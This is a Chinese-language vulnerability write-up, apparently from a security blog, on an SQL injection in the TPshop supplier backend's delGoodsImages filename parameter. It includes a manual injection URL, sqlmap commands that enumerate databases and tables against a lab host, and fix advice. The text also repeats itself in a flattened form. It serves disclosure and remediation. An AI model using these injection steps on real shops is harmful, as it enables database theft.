某Shop供应商后台SQL Injection(二)
字数 657 2025-08-26 22:11:28

TPshop供应商后台SQL注入漏洞分析报告

0x01 漏洞概述

TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。

0x02 漏洞定位

漏洞存在于TPshop系统的以下文件位置:

/Application/supplier/Controller/Goods.php

具体方法:

delGoodsImages()

0x03 漏洞代码分析

关键代码段:

  1. 第47行:从外部获取参数filename的值赋给$path
  2. 第48行:将$path直接拼接到SQL语句的WHERE条件中,未进行任何过滤或参数化处理

这种直接拼接用户输入到SQL语句的做法导致了SQL注入漏洞。

0x04 漏洞验证

手动验证

访问以下URL测试注入点:

http://[目标地址]:8084/index.php/Supplier/goods/delGoodsImages/filename/1'

使用sqlmap自动化验证

  1. 初步检测:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql"
  1. 获取当前数据库:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql" --current-db
  1. 枚举数据库表:
sqlmap -u "http://172.16.209.129:8084/index.php/Supplier/goods/delGoodsImages/filename/1*" \
--cookie "PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735" \
--random-agent --batch --dbms "mysql" -D tpshop3.0 --tables

0x05 漏洞修复建议

  1. 使用参数化查询或预处理语句
  2. 对用户输入进行严格的过滤和转义
  3. 使用框架提供的安全查询方法(如ThinkPHP的where方法)
  4. 最小权限原则:数据库连接使用最小必要权限
  5. 输入验证:对filename参数进行白名单验证

0x06 漏洞利用限制

  1. 需要有效的会话Cookie(PHPSESSID)
  2. 需要供应商后台权限(admin_type=1)

0x07 技术总结

该漏洞属于典型的SQL注入漏洞,由于开发者直接将用户可控的输入拼接到SQL语句中导致。攻击者可利用此漏洞获取数据库敏感信息,甚至进一步获取服务器权限。修复此类漏洞的关键在于正确处理用户输入与SQL语句的拼接问题。

TPshop供应商后台SQL注入漏洞分析报告 0x01 漏洞概述 TPshop(Thinkphp shop)是由深圳搜豹网络有限公司开发的一套多商家模式的商城系统。该系统在供应商后台存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。 0x02 漏洞定位 漏洞存在于TPshop系统的以下文件位置: 具体方法: 0x03 漏洞代码分析 关键代码段: 第47行:从外部获取参数 filename 的值赋给 $path 第48行:将 $path 直接拼接到SQL语句的WHERE条件中,未进行任何过滤或参数化处理 这种直接拼接用户输入到SQL语句的做法导致了SQL注入漏洞。 0x04 漏洞验证 手动验证 访问以下URL测试注入点: 使用sqlmap自动化验证 初步检测: 获取当前数据库: 枚举数据库表: 0x05 漏洞修复建议 使用参数化查询或预处理语句 对用户输入进行严格的过滤和转义 使用框架提供的安全查询方法(如ThinkPHP的where方法) 最小权限原则:数据库连接使用最小必要权限 输入验证:对filename参数进行白名单验证 0x06 漏洞利用限制 需要有效的会话Cookie(PHPSESSID) 需要供应商后台权限(admin_ type=1) 0x07 技术总结 该漏洞属于典型的SQL注入漏洞,由于开发者直接将用户可控的输入拼接到SQL语句中导致。攻击者可利用此漏洞获取数据库敏感信息,甚至进一步获取服务器权限。修复此类漏洞的关键在于正确处理用户输入与SQL语句的拼接问题。